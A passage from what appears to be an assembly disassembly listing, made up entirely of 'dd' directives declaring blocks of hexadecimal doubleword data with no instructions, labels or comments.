		dd 0F2A06BC3h, 0A60091B0h, 0E5988BC0h, 679063DDh, 1022208Eh
		dd 0FA7DC951h, 27D1AC00h, 7C68C298h, 880900A9h,	0D60D9628h
		dd 0FC0351EAh, 0C99C722Ah, 50DCB0C7h, 12697BCFh, 33B1E53h
		dd 56D12856h, 4070B6A9h, 9B74DA94h, 0FEC45339h,	1BF14303h
		dd 888A1662h, 38C8679h,	6E02040Dh, 8184C1D0h, 71C7557Fh
		dd 97BBF0EFh, 0C9F03Bh,	0DC79F946h, 0C468819Eh,	880C87E0h
		dd 0F078C618h, 0B070BC00h, 5EDA4549h, 0E3F7007Fh, 4B95256Ch
		dd 2F00E21Ah, 0B8030EA1h, 0BAB9Ah, 34A83C10h, 81E35C8Eh
		dd 0E1000AEEh, 53E2D97Eh, 0DDAD92h, 0BB2A7FEDh,	30BE5A05h
		dd 60DA5700h, 505B8DBDh, 0A7280004h, 0C54FEFB8h, 0A20093A6h
		dd 0C7333CDAh, 6D5496h,	2E26EC65h, 7A512599h, 6029B74h
		dd 3C5333F3h, 89E84013h, 1F320082h, 45CFB820h, 0B90772C7h
		dd 38526214h, 752FDB90h, 302C007Ch, 5994ABFFh, 81001519h
		dd 4DFCB73Fh, 3121B63h,	0C5898BB2h, 96B05DA0h, 0D900FD70h
		dd 1DCB6C66h, 0AE64BDh,	0A36F6827h, 1E35C712h, 0BE903A1Fh
		dd 81D38B80h, 94C7C36h,	129EBF76h, 67A49403h, 40045BF9h
		dd 79EBF380h, 14193B00h, 0F5093CDBh, 8D73EFh, 7FDD3F4Bh
		dd 0A639A364h, 0BECA8C00h, 93FFF494h, 37270098h, 3610E8C3h
		dd 380083E6h, 0E4067720h, 48BB2604h, 7C004927h,	0D888327Bh
		dd 10005AF3h, 9F8939DDh, 0BBA2A9h, 27660C91h, 1D0207A3h
		dd 7BC36501h, 0E34226BDh, 7B981E4h, 0A3917F68h,	0C0F9F721h
		dd 59C9D303h, 0CD52500h, 33FE7E94h, 0E0C21D17h,	0B5A9807Ah
		dd 0B6812806h, 6C6E4C00h, 4FCDC4DFh, 61893EEEh,	0A79EDA00h
		dd 4578907Eh, 0E1ABF100h, 760D6AAh, 855A3CDFh, 87A82E3Eh
		dd 417800D0h, 63170D4Fh, 1D00C6F9h, 0E452704Bh,	7CEB6Ah
		dd 4A55627h, 77F58996h,	0F9F60528h, 3F1DD000h, 8F0EDD5Ch
		dd 288E0408h, 83F75A2Bh, 8883B12Eh, 40603Fh, 709954B7h
		dd 3EA40378h, 65313428h, 888CF980h, 9E4F2F10h, 0B40339FCh
		dd 0C3AD5356h, 0FB78D60Eh, 0D18B85C4h, 0F9E3E600h, 363435DBh
		dd 5839595Dh, 330853Ah,	2AA1E988h, 86810284h, 7C786AC7h
		dd 0F90D0880h, 0E733218Dh, 0C0EB7003h, 305B067Bh, 0FB504034h
		dd 0B17989DBh, 4D20A40Eh, 9737805Ch, 49C8C051h,	0AF0DE829h
		dd 855904F1h, 0EE7A6CE1h, 0CB291C1h, 0E0642FE8h, 1F470056h
		dd 3E1C84F7h, 240A9A49h, 0C4159E34h, 50C0C21Ch,	0BB9BD0D7h
		dd 0ECE60247h, 0F0130E2Ah, 15806760h, 0EBAA6100h, 9CDA2DC4h
		dd 0EC6300B3h, 1183B246h, 0D30E6E09h, 47BFB907h, 0D4E0F84Fh
		dd 170C58h, 49921497h, 34617BCDh, 6B002A75h, 1CC49960h
		dd 0FF973Ch, 0ABB97F72h, 0C68F6DB4h, 0CD449B1Eh, 0C9E91B00h
		dd 1C1767h, 641A097Ah, 9A548094h, 60F19E01h, 6C4F7F6Dh
		dd 0BBD2AC50h, 5AC00017h, 0F8AE0286h, 5D01B229h, 0EF3B333Eh
		dd 0C8D85C08h, 0FCD9151Fh, 0C7009C1Ah, 263B8EB6h, 0A4B8AF45h
		dd 6F185863h, 7159006Eh, 84AE3242h, 7205F29Fh, 5CED7D45h
		dd 0F9D0D400h, 1ECE4CFFh, 7B1B2C7h, 30AC6FE8h, 795F072Eh
		dd 2B0C82B0h, 516B9977h, 0E00554CEh, 459806h, 0BBF9EE1Eh
		dd 8A19AFDDh, 7D81A600h, 0AA74D732h, 244C7CB8h,	7801117h
		dd 826E9A97h, 0EB80A7FCh, 29CFC52Dh, 0BD7C770Eh, 1C8685E2h
		dd 2F3E3404h, 98B50400h, 7000AAB8h, 0A1374472h,	0C1E9B8Fh
		dd 26CE6E7Fh, 0D80BD591h, 237D0Fh, 9F4CFC03h, 0C9F8287Ah
		dd 51E43BF6h, 0E680693Ch, 9AB71558h, 932BC141h,	82F00479h
		dd 1092672Eh, 0F54C007Ah, 0CC073009h, 0C41B3607h, 4FB127E0h
		dd 31D80121h, 8634B632h, 0F325F1C6h, 30746690h,	8D16805h
		dd 2C0171E1h, 0ADB8974Eh, 6E345184h, 94C141AEh,	29BE1E3Ah
		dd 2D966B81h, 0F018FBF2h, 1F00A17Bh, 8CD45643h,	3E152DEh
		dd 3386A283h, 610C4CB1h, 0C1CC8B01h, 0D23888A4h, 59C0577Dh
		dd 2A1935DFh, 0A7073A5h, 2EC2343h, 18724770h, 0A0803D03h
		dd 0EE63A006h, 960E37C1h, 278228E8h, 0C0BF35F0h, 0D9134CBh
		dd 8D2594CDh, 9D01F881h, 5286BB3Ch, 0B7C0004Ch,	0E6905028h
		dd 7B81096h, 0F64103E4h, 1875B6Fh, 19714E29h, 9E76563Ah
		dd 3856E2A8h, 9EE62103h, 145974C2h, 0F8589782h,	0E0BA0490h
		dd 7CA1AB56h, 15F91495h, 9900E883h, 0EC881401h,	61019E1Bh
		dd 0B856300Ah, 28885C2Eh, 0F590B445h, 442B8684h, 0FA4428DCh
		dd 471948D0h, 0C088E8D7h, 0CB5D8829h, 44844D90h, 51E44C2Dh
		dd 7EAF0071h, 76A8D2D3h
		dd 9009E3Bh, 0CEA3B594h, 649F4480h, 806D20A1h, 62B4131Ah
		dd 0F96FE700h, 0F7841D67h, 573E009Eh, 99E265DFh, 0C400B21Ah
		dd 8CD75B30h, 0F6AC1001h, 0B6F30074h, 661A1939h, 1700CE89h
		dd 75FC98CBh, 14D94Fh, 0A9E174C4h, 485411E6h, 0BCA7D800h
		dd 8221E5A3h, 0F79D00B2h, 0D2154914h, 0EF02C8FAh, 7C87CFAFh
		dd 89BCA2EBh, 0A400D50Fh, 0B36EDCDDh, 3EBD1B00h, 0DED79D0Ah
		dd 1A8C0027h, 0B16C105Dh, 0B0354F5h, 0BC2041E4h, 3C899075h
		dd 943B719Fh, 19240118h, 2416F5F4h, 887FECF4h, 915CB00h
		dd 70E1DE22h, 0C21B002Dh, 0CE37B1FCh, 3C00198Ah, 0B6BCA052h
		dd 0F44523h, 0DBB3ACADh, 4ED2A6C4h, 22A3AE00h, 0F8C75A4Bh
		dd 0F5C30740h, 46FB806Bh, 0FEE2317Dh, 5DB19600h, 4C8DD726h
		dd 438918D2h, 90043872h, 9127B003h, 0E06D2EC3h,	2E7F498h
		dd 58694F88h, 0F0C3C885h, 53BD4D98h, 517B5EB0h,	64845600h
		dd 0AC9022B6h, 0B4D100DBh, 6FEAEC18h, 0B1073A03h, 0F0B7DF1Bh
		dd 0E29029D7h, 3740C8h,	0CF1DCED8h, 0CA578895h,	258CDA60h
		dd 0EA8E7Ah, 69511A91h,	0A542D1E3h, 3AC7500h, 3CA1C4F9h
		dd 46500D6h, 87EA2A85h,	68007F57h, 0A02464CAh, 0FD81D1Ch
		dd 5111D72Fh, 7C9EA5h, 56392AB4h, 0DB1E84A2h, 3009C70h
		dd 0E086986Ch, 2BF5077Fh, 0B07E524Bh, 0C49E4D05h, 0FBE2C1Ch
		dd 73A643C0h, 1CB2E2Fh,	86B502D7h, 0D4997B7Dh, 611F75BBh
		dd 0E2D8A022h, 0F438831h, 68702032h, 5A4A50C0h,	0E4840E6h
		dd 312DA024h, 32501EFDh, 0C9FF4705h, 16EBC094h,	4F02A5C6h
		dd 788DAAF5h, 0E2344815h, 45110BE9h, 6880A719h,	0A6FED24Fh
		dd 98C6AE01h, 7CF99FF8h, 7F732C24h, 0BE8A00A9h,	0ECFE7E6Fh
		dd 4B009839h, 0CC3888E1h, 5E2B95h, 0FB454CBAh, 290F55F6h
		dd 0AFFED1E4h, 48B16700h, 2BDBC098h, 0E4020095h, 16507FE5h
		dd 0CD7C23F6h, 6CCB7E03h, 90804AAEh, 790FC2Fh, 0B8A9956Fh
		dd 0BA4D50C5h, 190E0E86h, 401F3253h, 999CBE3Dh,	2E330322h
		dd 0A7E30C6Ch, 683144D0h, 0AF003578h, 8D5DFAC6h, 1B1D87B6h
		dd 294C0E53h, 0FE909690h, 8FDED300h, 0B59B04D0h, 0C941005Ah
		dd 3D5F7175h, 5E0078A7h, 12735458h, 22A07ABh, 6681E04Dh
		dd 0A460515Dh, 6C000E69h, 7449A5F9h, 231CA1h, 448FFB86h
		dd 1B28CE6Fh, 5F2220C0h, 656D7Ah, 0BF617684h, 0B3F7608Ah
		dd 0C983091Eh, 2F3F1000h, 0F2819Fh, 0C2791B6Bh,	2DCEA854h
		dd 6F032473h, 90BF7588h, 0B5B898F6h, 9D84077Ah,	70456A89h
		dd 209F4665h, 0ECBC2A51h, 540036CDh, 0E54C30ACh, 0F456C2FFh
		dd 0D2EA86h, 0D0AB4543h, 36705751h, 5AB2CE0Eh, 974AE1F5h
		dd 852191BAh, 2CD8D4h, 0B5E0154Eh, 17BB81ABh, 3C00F090h
		dd 9E98318h, 5B3F85h, 13B93984h, 1A3B240Bh, 3AF92B00h
		dd 0D3082C58h, 0BE7A33h, 990767A4h, 7F97E39Ah, 84B68518h
		dd 50FA0C29h, 4CDA9395h, 0B00019AAh, 2968674Ch,	2607FD42h
		dd 9B9A58D6h, 604F8E02h, 202C08h, 292EEC85h, 0C65507C5h
		dd 0E3F1AE00h, 0EDBB1B1Eh, 974D007Fh, 6E3D20FCh, 1F029A13h
		dd 7E33DA56h, 7E075D41h, 27CCF7B8h, 1E68C05Ah, 9B01857Ch
		dd 0B593EAD2h, 0F7D04F54h, 228F001Fh, 0A3741E48h, 360021F8h
		dd 96435EDEh, 996D61h, 23F4534Ch, 6719C49Bh, 0B6DAEA1Ch
		dd 35EBEC00h, 3AD8AEh, 0E1FE482Fh, 0BE1EBD27h, 307C9600h
		dd 694B761h, 0D0753983h, 36B6012h, 0DD19A28Ah, 17B76880h
		dd 8F54073Dh, 207D1487h, 0D55EEF28h, 64890027h,	0EAF9E78h
		dd 0C800E526h, 0C5B14972h, 35BDE19h, 38F7D398h,	0BD88EE6Ah
		dd 0B63D4474h, 83D50042h, 0D0CDA10Fh, 15E90176h, 66B1DC3Bh
		dd 0CBD8E492h, 0B24DD500h, 79CC2381h, 0D2240072h, 0E72D2716h
		dd 94000D28h, 0E5DD4A8Fh, 0F826DCF9h, 3E0E007Ch, 46921472h
		dd 60024D0h, 0D7D88319h, 1EF66B71h, 0F8C19304h,	5E89127Ah
		dd 0A07E0003h, 78CEDFAh, 20C031F0h, 3AD9A22Dh, 53BA004Eh
		dd 49941093h, 91001FF4h, 0F60D5B80h, 76AB192Ch,	6F5800C0h
		dd 132870A8h, 9A00CC49h, 77253230h, 78B1184h, 0A3CFD3BFh
		dd 28E61006h, 750796B7h, 0C9CC4BB1h, 0B00848D0h, 400E1E50h
		dd 411E9CA8h, 57A05DE2h, 0F881DC25h, 0C092AC00h, 22D2FE87h
		dd 1B90080h, 3F839E88h,	5E00C5B2h, 1DF6D171h, 1AEB5Dh
		dd 28926AD5h, 58B295B5h, 648E6706h, 0EB0C77Ch, 131A39FEh
		dd 0AAC9005Ch, 63F1452Bh, 0F48EA100h, 69FB2E11h, 90CB0718h
		dd 53B4B06Bh, 0F7F09C3Dh, 5F1889A5h, 98118CCDh,	0EF990837h
		dd 0A40F9363h, 60ACCFB4h, 1EC30B2Fh, 31120C7Fh,	1F209290h
		dd 0F506B700h, 0ECD7A90Dh, 6FB41F7Ah, 0A12E8399h, 0A0F36096h
		dd 2898881Eh, 0B6DB7980h, 6753BBh, 0E7D9F12Ch, 0F3D89E60h
		dd 16E9DA00h, 40943DF7h, 17AF7FF0h, 7044FB8h, 40813FCFh
		dd 9B42F244h, 4DC20F07h, 40EEABA6h, 171953E9h, 0FFB70045h
		dd 387971BEh, 0DE0044F4h, 559463F5h, 0CB9E519h,	0B7E72ADDh
		dd 0B007EF19h, 6C3B0154h, 0ED5F00C9h, 587381C5h, 0F0CABABh
		dd 69542F9Ah, 11CF6700h, 6B50D58h, 0CE641866h, 1DE42029h
		dd 9AAD300h, 27C74C65h,	9FA200B2h, 0EEDB561Ah, 47005025h
		dd 0CC3EE629h, 0F69BF5h, 0B144BABh, 0A37F10D4h,	3D0225ECh
		dd 0C3FDDB1Bh, 0BA0240F8h, 37865876h, 0C07F9440h, 1EF7A848h
		dd 0D1006F21h, 5C60EA2h, 0A0A786E6h, 31DE1B8h, 4EF8EEE2h
		dd 0B0D7E008h, 8896B4D4h, 93CB0300h, 8BB20E17h,	0F659002Dh
		dd 587642CCh, 0A500D2DFh, 12D9C31Dh, 0DCF540h, 36F2C04Ch
		dd 0E5883B57h, 0FB556500h, 0C300F4Fh, 0F1EB09E4h, 1420AB58h
		dd 85C7FAAEh, 1D1FE0Eh,	59FD4028h, 1F085B74h, 809AA231h
		dd 0C2EBB83Bh, 10926573h, 0F663A1Ch, 0C6FDBB80h, 69932Fh
		dd 7132A255h, 6A8B91D5h, 5C073079h, 48A73957h, 6CD0F927h
		dd 0F280FFE8h, 5618C050h, 47A24C6Ah, 37DBEE02h,	402F259Fh
		dd 64AE80h, 7403D761h, 80E41B34h, 93C12E01h, 3E6CE51Ah
		dd 1FA27C24h, 4008AE85h, 0ACAD875h, 880723EAh, 28356A1Eh
		dd 13649900h, 0ABF50397h, 0F4EA9FB2h, 5CA22FA8h, 32311600h
		dd 15754C9h, 83F90090h,	0D5147330h, 0DF742D13h,	558F5B00h
		dd 0A2BBC0E3h, 4E7618h,	0A738D2A3h, 0B3DFAC9Bh,	11A62B00h
		dd 3EC3509Dh, 6E3F00B9h, 5675617Ah, 0ED5CA2F9h,	5EA100E8h
		dd 0D3C8F7EEh, 274A00F5h, 0FEF1FD94h, 50000D1Dh, 0C7C1DD92h
		dd 60912506h, 1C8CC83Eh, 713C5CADh, 1EEA140Eh, 63DB0E9Ch
		dd 0B3C9A0C8h, 8130CEh,	97DAB062h, 0F148232Bh, 3DA3B600h
		dd 26E902CBh, 6A5C1D60h, 61248071h, 0F46BCA7h, 34C2CE24h
		dd 0FC13DB00h, 149A327h, 94E3BB90h, 0D0E04262h,	0A0394178h
		dd 47190029h, 0ED9E0173h, 0E6A500DBh, 0BF39A3ECh, 59072A0Bh
		dd 19608F13h, 0F306D211h, 0FAD45821h, 39CBF075h, 0BE807647h
		dd 52A7E7E6h, 1B00F753h, 14D0E833h, 0D8062h, 9682860Bh
		dd 49B51AFEh, 0BBFFB800h, 687B4204h, 0E6BA000Ah, 5C34873h
		dd 0BD00717Ah, 61939095h, 3808E49Fh, 0F8731714h, 105B0032h
		dd 0FA72F0C4h, 3A00A812h, 1E7D0E31h, 0B014C52Bh, 0E3BF0054h
		dd 13F7E5D4h, 303BEBAh,	0B89C9B9h, 8FA188A0h, 0CCF1044Dh
		dd 0C0D35723h, 6BE7B0EBh, 8C9C0400h, 2246CA75h,	0E3E900B8h
		dd 38E0FFBBh, 7100480Fh, 0A53056A2h, 9827F9D6h,	71E1FE93h
		dd 0AAB00087h, 8EB99673h
		dd 5F007E0Dh, 3B320E93h, 0A55044h, 0C50C1887h, 0D1FA71A7h
		dd 792C1500h, 9A2E1A0Eh, 75BE3794h, 4A91F0A2h, 0EC00AC41h
		dd 0C6E107B0h, 0DA938Eh, 0CB1DF5F4h, 196CCCFBh,	6F0083FAh
		dd 1BE84947h, 2D456B86h, 6F58F13Ch, 0D433507h, 8B7063FDh
		dd 0E71083h, 2A051FC1h,	0A98C9FD8h, 81965800h, 1E8A3F98h
		dd 0AC0F4EC7h, 623F74h,	3AD23504h, 1D050E3Eh, 215A198h
		dd 347DBB31h, 86E5AA60h, 0C003698h, 9CF86CA6h, 0FBBC1C3h
		dd 7AAD7F2Eh, 0F6DF2840h, 66FA56FCh, 6120BB0h, 0A00D4C4h
		dd 3F47F286h, 0E5FF4C84h, 6B9CAA00h, 1D8FFA51h,	0FC5F8D00h
		dd 0B5C77A8h, 0B88206F6h, 78CE6893h, 68F095h, 6E8EC4BFh
		dd 39EEF1B3h, 6199071Eh, 0E0F887C0h, 1FB452h, 0E82AFBA4h
		dd 5A4ECFB7h, 721BD20Fh, 6A9A43DAh, 4F2C062h, 0C37800B2h
		dd 0FBE9311h, 0FA00BC5Ah, 61BAFE19h, 0F902ADh, 91840E29h
		dd 0F8E1D4B2h, 9E509400h, 2B4B2C06h, 0A4460075h, 606ECC1Eh
		dd 720085A5h, 0C5FBD302h, 0EE8A80h, 0A345E4E8h,	9ABD7997h
		dd 183C43Ah, 7F07026Bh,	19F40A11h, 90B41F82h, 0C478018h
		dd 6AE225AFh, 775CE800h, 3C1D5FADh, 8A302D8h, 40F78385h
		dd 2C74C480h, 952E6EFEh, 8B008A72h, 2FB0E39Ah, 63E41F73h
		dd 6AE90096h, 29BAB88Eh, 25B2E500h, 4DCACD4Fh, 0B5C20044h
		dd 0F8CB6740h, 9600EBA7h, 1DAC4C7Dh, 5C38BA94h,	300382Ah
		dd 0ABE2CEEh, 740495B0h, 0DC11662Eh, 0E8C9A781h, 35301180h
		dd 3C417526h, 56A00D27h, 3CAD12EBh, 1CB07D14h, 786123Eh
		dd 5DD9F208h, 0A4F9AB40h, 339128E6h, 883973FCh,	0A0F6F4CAh
		dd 64B32801h, 973C545h,	0AB2A20h, 1F5831F8h, 28BE2AC6h
		dd 66D60E00h, 7890A952h, 4DEC003Fh, 0B4542446h,	0CE07A17Dh
		dd 0E455511Ah, 1D6120B0h, 25DF00A4h, 37E5D8FCh,	0C33D8FB5h
		dd 2EA5809Eh, 85B48D58h, 28E4E675h, 0EF807BCh, 5CDA633h
		dd 0B041A583h, 86E039EAh, 870295DEh, 752CF6DBh,	0B004844h
		dd 83650005h, 584C47F1h, 9C0E07C1h, 0CF9ADD33h,	0CAE16037h
		dd 0E38B46Ah, 3B095C13h, 6662C740h, 0EE042316h,	5D56EC02h
		dd 0E4C51880h, 0E17FE41h, 4361FDEAh, 1B590580h,	1DEEFFFCh
		dd 44FE1F06h, 120E462h,	20AEAC1Ch, 0DC97250Dh, 0D900130Fh
		dd 0BE580A04h, 112174h,	0F3618E92h, 430CA096h, 0E08BAA00h
		dd 2834D0C4h, 905839F9h, 750216h, 0E2B80BF5h, 88007935h
		dd 255FBAD7h, 74F4EE7h,	98105E55h, 84AAB440h, 66EC0Ch
		dd 0CA25597Bh, 733BB47h, 0C397B7FEh, 77CFD0FCh,	73073B67h
		dd 0F4E6DBB8h, 3F61B410h, 0F6B2384Fh, 398FD500h, 0F3A70475h
		dd 5A7B6E00h, 0A208476Dh, 0D7650017h, 6FD53ED9h, 0DC03AE27h
		dd 2882D02Eh, 2211051Ah, 0C08E014Dh, 0B8EA4B03h, 0DECF1D00h
		dd 0D582B512h, 7A183CBFh, 0B4A36101h, 0D023CD7Ch, 9D007D99h
		dd 40AAD119h, 0E0C135h,	0A4E5C9F3h, 0D52475F4h,	0EA893300h
		dd 1C407865h, 9F8E03BBh, 9DF357E6h, 41E5DEF0h, 0C3580D00h
		dd 783A5DB4h, 8168381Fh, 59771Ch, 69E7F17Ah, 0E40052C9h
		dd 0F542DAD9h, 24F22950h, 764717h, 0B566FB4Ch, 0B700733Ch
		dd 0C986E44Fh, 0C1DAF4C0h, 0D15EC760h, 0AACC342Dh, 8073D207h
		dd 2C4103D8h, 18BC42ACh, 5410FB31h, 0C0A313C1h,	605DA75Fh
		dd 0E3891E7Bh, 19033E39h, 6FD31726h, 6096A0h, 0B44D8886h
		dd 0D2D89DAh, 59603CFEh, 49026471h, 0CE350FA1h,	801ECF97h
		dd 2FD8E058h, 3D02F1BFh, 0A14B1713h, 8E588E39h,	4E0190E9h
		dd 0C50B132Dh, 6312D05Dh, 9C3A6D2Ah, 9CB8D600h,	0FB22C777h
		dd 164A0051h, 0EE13BD0h, 0E6FEC917h, 342B1C00h,	0AEA1C599h
		dd 416900D7h, 33165329h, 48719C2Ah, 3CBD8601h, 92B64BFFh
		dd 0A1A2E4h, 0D5A6A71Eh, 2D4DB4F2h, 0FC2BB93Fh,	0A4165F1Fh
		dd 0E4415302h, 855480EFh, 7EBFF4D6h, 0D3130C4Bh, 0C308ED64h
		dd 0FEAA21C0h, 0C501F4h, 7BB2BDBAh, 23595CD5h, 0E507960h
		dd 0DA7691ACh, 0E081A668h, 0E6DB277Dh, 11EE1444h, 0B603297Fh
		dd 4E2D884Ah, 0A608281Ah, 754100B4h, 0B8472949h, 0A20A8613h
		dd 0FC57DB6Ah, 0C3880B40h, 0C5DF631h, 0D13ED449h, 8106C739h
		dd 20EFFFE4h, 82470011h, 78860C6Eh, 5D33334Dh, 0E0908A8h
		dd 6E7A1921h, 0C02E1B00h, 72FC437Fh, 0C1B9891Ah, 0F3468058h
		dd 9F2B24h, 0CFD0D2D8h,	0AC4AC727h, 61912E60h, 48A7E012h
		dd 0E81CEDD8h, 1508F3C0h, 0EAEC2100h, 6213EEE0h, 681D01CDh
		dd 0B88A0C97h, 92B98121h, 93447D7Bh, 1FE4B560h,	98707343h
		dd 2972D012h, 90C2C6B8h, 0C0A62488h, 1C8E9469h,	404E8C79h
		dd 0EEB252A8h, 48000CD1h, 0E2924945h, 0B0988026h, 7E120F15h
		dd 7A20655Ch, 863D225Dh, 552C8E00h, 8DDDC960h, 5FB00FCh
		dd 0EE70EFC5h, 0B80041BBh, 6366A531h, 6DBD5h, 0B1D88990h
		dd 71F07656h, 0EE1C7000h, 74CE75D9h, 0CBB93F5Ah, 0B62203F5h
		dd 0ABEC6561h, 0E7041143h, 0F601ED3h, 0F72E010h, 3D87C2CFh
		dd 112C829Eh, 122D2CE0h, 0C1893Fh, 42F188EBh, 0E3FDC68h
		dd 4E9683E7h, 52E38BA0h, 0BE00829Eh, 3E6C91B4h,	0F486BDAh
		dd 0EDD9BC35h, 866FC7C0h, 0B100EA25h, 27E2F1CCh, 0B27CC3h
		dd 898735E9h, 1E03B563h, 32FEBB02h, 0C1A32719h,	1E0A27Ch
		dd 0AD200716h, 0E9810Bh, 0B735868Bh, 0D9BBAC1Eh, 1D4DC380h
		dd 782BD531h, 7CCD78DAh, 0A7FC39h, 9201DD8Eh, 7D714C43h
		dd 3A005A73h, 6963B617h, 0E59979h, 0F247DB57h, 38D16468h
		dd 4C350D07h, 0E3DE9A1Dh, 0E87081D2h, 962DECh, 4173DAA9h
		dd 452E9277h, 3DFFEB0Ch, 7CC4283Bh, 0F0ED005Ah,	0E90DCC5Eh
		dd 201D1D27h, 0B1C04744h, 612AEB95h, 0CAE42A78h, 8D5000C4h
		dd 4CA4119Fh, 99EEB27Bh, 0E914C100h, 2098BB2Dh,	60897A1Ch
		dd 31121037h, 0F6441DAFh, 0D30C004Eh, 0CA098675h, 3E15EBF1h
		dd 0F0AAE1h, 0C0A8C716h, 1278777Bh, 0DB564Ch, 9E88694Bh
		dd 360B7493h, 776BD23Fh, 12899C01h, 5671C8C2h, 0A6E9E801h
		dd 672C6694h, 0E9E6230h, 0F51E9DC0h, 88C270A0h,	0BD004FECh
		dd 4769F32Bh, 679CF6h, 6BDB310Ah, 13D7CB3Fh, 684B7E00h
		dd 36ABAE5Eh, 0B27417h,	0EDD24899h, 150EB9D9h, 0DA01FF0Fh
		dd 1C0A406Ah, 284E3EA7h, 0F88CE8Fh, 3542C8F4h, 0A0B923C7h
		dd 0E256E6FDh, 0F9ED406h, 711F310h, 540AF279h, 9430B029h
		dd 2501FF6Ah, 5371522Dh, 61F4B6A3h, 0F9B9043Ah,	8072F111h
		dd 6DC825Fh, 0BFE7403Bh, 0F8C600B4h, 24D7EBD4h,	3620C197h
		dd 0D958E14Bh, 6E5E0F7h, 0D2FA6A04h, 410095B3h,	0DA62FC78h
		dd 492CEF00h, 9E3E6DA9h, 64210039h, 24AEEACh, 470EBCCAh
		dd 0DE569A6Bh, 35DF003Fh, 0DD75A9DBh, 504F00F8h, 0FE03D97Eh
		dd 0E4A01645h, 0BA889B5Dh, 0F2401547h, 0C00D895h, 16266A34h
		dd 0DE000235h, 32BDB793h, 4C4A99h, 0C74043BEh, 4EDD95FEh
		dd 46676C00h, 25A23ACFh, 3660042h, 1727E4B3h, 0FA00ECB9h
		dd 57F6567Eh, 0E568D6h,	724DD311h, 0EE3ABE1Ch, 0E3183400h
		dd 0AB4E9D3Eh, 0C40D002Eh, 0A084C691h, 8D50F007h, 880094C6h
		dd 77B5CC7Fh, 0CF2E5Eh,	8B626EE2h, 54FDF846h, 191CBA1Ch
		dd 59FA2440h, 9ED27Bh, 1B033116h, 3F6810F4h, 82324E1Ch
		dd 3C0117C0h, 0F884A2h,	698B3983h, 0E1259F09h, 0AF607667h
		dd 0AFE1BD0h, 0F78A00EEh, 23085155h, 0D775B861h, 3A5A700Ah
		dd 0A21E3CFCh, 1A8BA340h
		dd 1E868AB2h, 9CBF51h, 3895395Dh, 0AF1E18ECh, 6F809881h
		dd 5FA9108Eh, 4D29004Fh, 21861D55h, 0E300A2DDh,	640BBB33h
		dd 0E4BD4993h, 7A5200C8h, 1A7B6323h, 0F201B814h, 64E9E647h
		dd 9C4BFAFh, 564307DFh,	71949DAEh, 0D85AC8C5h, 0BD00FFA8h
		dd 0DC23C3A4h, 0BE9B54h, 25897321h, 6FBA79CCh, 0AB062671h
		dd 5FADDE6Dh, 0ECBD1FF8h, 0C325007Ch, 18DCC6A4h, 9DD93Ah
		dd 0ED650791h, 762331Ah, 404A7D85h, 3E873025h, 71E6DA5h
		dd 38809CE8h, 960C6F82h, 884700EFh, 0B93D79F7h,	3B00F8F1h
		dd 8E748D8Fh, 289B0C1Dh, 9C8971h, 54048120h, 0AEFA7DFBh
		dd 9D053800h, 48A31522h, 35D81C43h, 63CC40E0h, 3BB3969Fh
		dd 41F28A30h, 2C19AA3h,	395933D6h, 1440F657h, 0C300FC45h
		dd 0BE31888Fh, 520F67h,	90713258h, 811A7ABDh, 41E0C401h
		dd 0E5D9B8E9h, 7A6093E5h, 0BB0E0076h, 1704327Fh, 0E400CE2Dh
		dd 0A5E1E9B0h, 58A17D51h, 45009882h, 4AA36C75h,	8A00028Dh
		dd 571BA7E3h, 853978h, 5BD90DECh, 4CBDA086h, 0B821611Ch
		dd 0EDB95105h, 0B5220DC0h, 0B17F6085h, 0A518FCE9h, 0CE3E301Eh
		dd 8438DAB0h, 8A5038BDh, 95A11980h, 20D15921h, 177B33Eh
		dd 830F60EDh, 0B9C028B2h, 0EF4F00DBh, 187BE313h, 0B626EB69h
		dd 970A83C9h, 0D500BEE7h, 0F88C7F58h, 0CE0A00E1h, 6914952Bh
		dd 0A200E268h, 0BB25C478h, 0C6C902h, 0A9D5D8F7h, 0CD3C30F6h
		dd 4EA18E00h, 6661483Ah, 0C80E5C47h, 4C96A40Bh,	2E498480h
		dd 36003EE2h, 6E938A9Ah, 1F8B55Ah, 0D4C78677h, 0F04E2EA0h
		dd 2C0022A6h, 0EF2D9DECh, 5DF2AC0h, 64F55CB7h, 6CA4C240h
		dd 0BE59FC60h, 5F00A670h, 0E6760B72h, 7EF6FDh, 179871FAh
		dd 0AE16B4ADh, 0F5E17F00h, 2A254113h, 979E0006h, 7114C36h
		dd 0B13D78B9h, 3AEB0A32h, 2C02CC94h, 0AED35689h, 9FF820F0h
		dd 0B52B74h, 1C37CFC3h,	20E56B7Bh, 0EB3E6AFEh, 230674DAh
		dd 0A516E370h, 7EBF00F0h, 3DCC89B8h, 8B00B275h,	0DC7B7D8Eh
		dd 344626h, 2E96CEE5h, 0DA9EC099h, 0B0CAB100h, 47D4BA87h
		dd 0D08E0079h, 0C5E249F4h, 6A002876h, 0B099EE2Eh, 7E2354BBh
		dd 42CB00D6h, 775CAF0Ah, 0A7E092ABh, 0B5399700h, 0A9EDCCB0h
		dd 90589A26h, 3F7F016Ah, 0D61A46ABh, 9877C4F7h,	886EBF00h
		dd 581B164Dh, 7C4B009Bh, 34C273D1h, 4100A6FCh, 182C8E6Eh
		dd 0BC55F9h, 4CC44960h,	0CF1FD938h, 0AE2B2613h,	0BD1A0100h
		dd 20C0A5Bh, 0DF3C477Ah, 0C868C2EAh, 321EFD51h,	1703AF2Fh
		dd 98F4909Ah, 3E4123A6h, 11A865B7h, 7DAD0010h, 0A262F4C2h
		dd 1DB0EE23h, 0D10C5274h, 0D11C01A8h, 3E901D0h,	6B126342h
		dd 0E7088047h, 28660939h, 0A8F0FD1Eh, 0EA18A902h, 0F87B48E8h
		dd 0C27486h, 0F6555232h, 279EA242h, 3AD94000h, 0F079365Ch
		dd 0D84E0750h, 238106B2h, 0B003E889h, 1CFEEE7Fh, 0BCD918BBh
		dd 32F4611Bh, 0D023A318h, 10EE55B0h, 0C8FCA8CCh, 0B10ECh
		dd 8DCF65A7h, 0EBE4A9h,	0D462162Dh, 8B02B640h, 64526D01h
		dd 7371B7D1h, 0DAC6D080h, 1DD38E59h, 75006978h,	10704120h
		dd 38ABCEh, 0E2874425h,	32DC62EAh, 66908C00h, 9257B7E3h
		dd 8B7DBCh, 145536E7h, 0D7796B96h, 0BF294628h, 0F63A2607h
		dd 3501EB3Fh, 69E01DF7h, 0E6AB0006h, 0A3E91CB3h, 5E01D5EEh
		dd 0D3DFF5FAh, 16F9C9B4h, 0E6210F8h, 885140C2h,	6BFDE560h
		dd 7C000164h, 0C0424B21h, 0E1ADD15h, 5D388907h,	0CA42D60h
